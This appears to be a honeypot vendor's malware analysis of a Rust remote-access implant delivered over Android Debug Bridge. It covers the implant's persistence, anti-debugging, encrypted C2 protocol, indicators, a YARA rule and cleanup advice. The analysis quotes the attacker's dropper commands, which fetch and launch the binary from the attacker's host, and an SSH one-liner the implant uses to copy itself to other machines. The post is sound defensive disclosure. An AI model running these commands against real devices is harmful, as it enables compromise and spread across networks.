TarPit.proResearch

A 238 KB Rust implant came in over Android debugging. It carries post-quantum crypto and we decrypted its traffic anyway

Caught by tarpit.pro

An attacker found one of our honeypots listening on port 5555 (Android Debug Bridge, the remote debugging service left open on a lot of Android TV boxes, emulators and cloud phones) and spent 42 minutes using it. Twenty sessions came from the same address, 31.76.240.150. Five of them delivered the same file: a 238 KB Linux binary that calls itself angel1c-agent.

We found no public reporting on it. The closest published family is RustDuck (XLab wrote it up in June), which is also Rust and also spreads over ADB. We compared the two closely because the RustDuck authors are known to keep reworking their core. None of RustDuck's markers are in this binary: no Noise handshake, no Ascon, no cowrie or Dionaea checks, no 192.0.2.1 blackhole probe, no DuckDNS domains. And RustDuck is a DDoS bot while this is a remote access implant with a flood command bolted on. As far as we can tell this is a new family.

How it gets in

The ADB shell commands write a config file first and fetch the binary second:

cd /data/local/tmp || cd /tmp || cd /var || cd .
echo 'c2_url=hxxp://31.76.240[.]150:747' >> agent.conf
echo 'agent_id=agent-abaf6357' >> agent.conf
echo 'agent_key=<64 hex, different per victim>' >> agent.conf
echo 'encryption_key=3f32dca2...' >> agent.conf
echo 'ed25519_pubkey=7b9ccbdd...' >> agent.conf
echo 'beacon_path=/api/beacon' >> agent.conf
echo 'result_path=/api/result' >> agent.conf
echo 'drop_path=/api/drop' >> agent.conf
wget -q -O angel1c-agent 'hxxp://31.76.240[.]150:8081/dl/<token>/agent-small-x86_64'
chmod 755 angel1c-agent
setsid ./angel1c-agent >/dev/null 2>&1 &
echo a1e1'_delivered'

The real script tries wget, busybox wget and curl in turn, then echoes markers (a1e1_fetched, a1e1_delivered) so the operator's side can tell which step worked. The download token, agent ID and agent key are all random values, so the operator can tell each infected device apart.

The binary is x86_64 and nothing checks the architecture before pushing it. On a phone with an ARM chip it simply won't run. The devices it can actually take are x86 Android: emulators, Redroid containers and the cloud phone farms that run Android on ordinary servers. That's a narrower target than "Android" and probably a deliberate one.

What the binary is

It's Rust without the standard library. There's no libc in it at all: the program makes its own system calls (282 raw syscall instructions) and carries its own JSON parser, its own SHA-256 (with a self test on the "abc" vector) and its own ed25519. The section names are scrubbed, the build ID is shortened to 8 bytes and there are no source paths or panic messages, so the usual tricks for reading Rust crate names out of a binary find nothing. The program carries a build string of rustc 1.102.0-nightly (6c709eb42 2026-11-25), a nightly compiler only days older than the attack.

This isn't something knocked together from a tutorial. Somebody spent real effort making a small, quiet implant.

Sensitive strings are encrypted inside the binary. Each one sits behind two short keys (5 to 8 bytes) and decodes as (byte - key2) XOR key1. Decoding all 24 of them gave us:

What it does when it runs

We ran it in an isolated sandbox with no route out and a fake server answering on 31.76.240.150. Before it does anything else it checks for a tracer three ways: the TracerPid line in /proc/self/status, a child process that tries PTRACE_TRACEME and a non-empty kprobe_events file (which catches eBPF tracing tools). If any of them fires, it exits with code 0 and says nothing. It also checks for VMs and containers (DMI vendor strings, the hypervisor CPU flag, /.dockerenv, cgroups, low memory or cores) but only reports what it finds to the operator. It runs fine in a VM.

Then it double forks, sets oom_score_adj to -1000 so the kernel's out of memory killer leaves it alone, renames itself [kworker/0:0H-k so ps shows a kernel thread and grabs a lock on an abstract UNIX socket called @angel1c_lock_[kworker/0:0H-kerneld]. A watchdog child restarts it if it dies.

As root it installed all of these within a second:

It runs chattr -i before editing the crontab and authorized_keys and chattr +i after, so a careless cleanup fails with "Operation not permitted". It also looks for its own kernel rootkit through /proc/rkit/pid and /proc/rkit/comm. This build says "No kernel module embedded in this build", so the rootkit exists as a feature but wasn't shipped to this victim.

The C2 protocol, decrypted

The implant asks GET /api/time first (commands carry timestamps and get rejected when stale) and then posts a beacon to /api/beacon every 10 seconds, backing off when the server doesn't answer. The request looks like this:

POST /api/beacon HTTP/1.1
Content-Type: application/octet-stream
X-Agent-ID: agent-abaf6357
X-Agent-Auth: <HMAC-SHA256, 32 bytes hex>
X-Agent-Ts: <unix time>
X-Agent-Key-Id: <16 bytes hex>

A1E1 01 00 <12 byte nonce> <ciphertext> <16 byte tag>

The body is ChaCha20-Poly1305 with keys derived through HKDF-SHA256 and the request path, timestamp and agent ID bound in as associated data. X-Agent-Key-Id is a hash of the per-victim key, so the server knows which key to use without the key ever going over the wire. Once a session is set up the implant moves to a forward secret key from a hybrid exchange of x25519 and ML-KEM-768 (the post-quantum key exchange NIST standardised). Commands coming back must carry an ed25519 signature from the operator's key, with replay protection on a per-command nonce.

That's a careful design. It still has a weak point: the static keys arrive in plain text in the dropper's shell commands and a honeypot records every one of them. With the victim's agent.conf we rebuilt the key schedule and decrypted every beacon the implant sent:

{"agent_id":"agent-abaf6357","platform":"linux/x86_64","hostname":"...",
 "tier":"small","features":"exec,persist,c2","mine":false,"proxy":false,
 "stream":false,"container":false,"heap_kb":11,"fds":5,"fails":1,
 "interval":10,"relay_listen":false,"watchdog":true,"dropped":0,
 "pfs_eph":"12ed560e..."}

"tier":"small" is the line that matters. The download was named agent-small-x86_64 and one of the error messages reads "update not supported on this tier". The binary also reports a module registry with entries for feat_mine, feat_proxy and feat_stream, all switched off here. This is one build from a kit that makes bigger ones (mining, proxying, streaming and the rootkit turned on). The key names (agent-auth-v2, wire-agent-v2, a "legacy" signature path) say there were versions before this one.

We can't take the botnet over. Commands need the operator's ed25519 private key, which never leaves the operator. Everything in the next section was done against a copy with that check removed, inside a sandbox.

What the operator can tell it to do

Reading a command table only tells you what a binary could do. To see what it actually does we answered it as its own C2. The fake server sealed its replies exactly like the real one. The one thing it couldn't produce (the operator's ed25519 signature on each command) we patched out of a sandbox copy. Each response also carries an x-server-sig header, which turned out to be an HMAC-SHA256 of the decrypted reply keyed with the same encryption_key the dropper hands over.

Asked for its module list, the implant answered with 22 modules. Fifteen are live in this build:

The other seven are compiled in and switched off: mine, net_diag, recon, portscan, flood (ddos), proxy and stream (tunnel.on, tunnel.off). Sending net.flood gets "operation not supported", update gets "update not supported on this tier" and tunnel.proxy isn't even a known command. The scanning and flooding modules sit behind the same feat_mine flag as the miner, so the bigger build that unlocks one unlocks all of them.

The spread command is worth quoting because it doesn't download anything. It pipes its own image through the SSH session:

ssh -o BatchMode=yes -o StrictHostKeyChecking=accept-new -o ConnectTimeout=10 root@<target> \
  'umask 077 && mkdir -p /tmp && T=/tmp/.24a25861.tmp.$$ && cat > "$T" && chmod 700 "$T" &&
   mv "$T" /tmp/.24a25861 || { rm -f "$T"; exit 1; };
   if command -v setsid >/dev/null 2>&1; then setsid /tmp/.24a25861 </dev/null >/dev/null 2>&1 &
   elif command -v nohup >/dev/null 2>&1; then nohup /tmp/.24a25861 </dev/null >/dev/null 2>&1 &
   else echo spread: neither setsid nor nohup on target >&2; exit 127; fi; sleep 1'

BatchMode=yes means it never prompts for a password, so it only goes where a key already works. On a box that holds deploy keys to the rest of a network, that's everywhere.

Indicators

SHA-256   e4a86003b1022a43bc066082d37be72969c69365c9cd754f67ce30920e5c42b5
File      agent-small-x86_64, saved as angel1c-agent, 238,368 bytes, ELF x86-64, static

C2        31.76.240[.]150  tcp/747 (C2, HTTP; HTTPS default when no config)
                         tcp/8081 (download, /dl/<token>/agent-small-x86_64)
Paths     /api/time  /api/beacon  /api/result  /api/drop  /api/log
Headers   X-Agent-ID  X-Agent-Auth  X-Agent-Ts  X-Agent-Key-Id  X-Sess-Id
Body      starts with 41 31 45 31 01 ("A1E1", version 1)
Delivery  ADB tcp/5555; agent.conf in /data/local/tmp, /tmp or /var
Markers   a1e1_fetched  a1e1_delivered

Host      process name [kworker/0:0H-kerneld] (comm "[kworker/0:0H-k")
          abstract socket @angel1c_lock_[kworker/0:0H-kerneld]
          /etc/systemd/system/systemd-udev-core.service
          ~/.config/systemd/user/dbus-user-<n>.service
          /usr/bin/udev-worker
          "# System maintenance (auto-generated)" in .bashrc .profile .zshrc
          authorized_keys entry labelled angel1c-fallback
          immutable bit set on /etc/crontabs/root or /etc/crontab and authorized_keys
rule angel1c_agent_linux
{
    meta:
        description = "angel1c Rust Linux implant (agent-small builds)"
        author = "TarPit.pro"
        sha256 = "e4a86003b1022a43bc066082d37be72969c69365c9cd754f67ce30920e5c42b5"
    strings:
        $a1 = "angel1c-channel-keys" ascii
        $a2 = "angel1c-secure-channel-v1" ascii
        $a3 = "angel1c_pqc_hybrid_v1" ascii
        $b1 = "agent.conf exceeds 4096 bytes" ascii
        $b2 = "[ANTI-DEBUG] eBPF kprobe tracing detected!" ascii
        $b3 = "# System maintenance (auto-generated)" ascii
        $b4 = "threat_scan error=no-names" ascii
        $b5 = "cmd-key-v1result-key-v1" ascii
    condition:
        uint32(0) == 0x464c457f and (2 of ($a*) or 3 of ($b*))
}

If you run Android on servers

Close 5555 to the internet. ADB has no business on a public address and this kit only needs one open port to get in. If you think you've been hit, look for a process called [kworker/0:0H-k whose /proc/<pid>/exe points at a real file (kernel threads have no exe), clear the immutable bit with chattr -i before you remove the cron and SSH entries and kill the watchdog child together with the agent, because each restarts the other.

We caught this one because an open ADB port on our side was a honeypot rather than a phone. TarPit.pro runs those fake services across a lot of ports and records everything an attacker types, which is how we ended up holding the keys this implant's own encryption depends on.

Catch them on your own servers tarpit.pro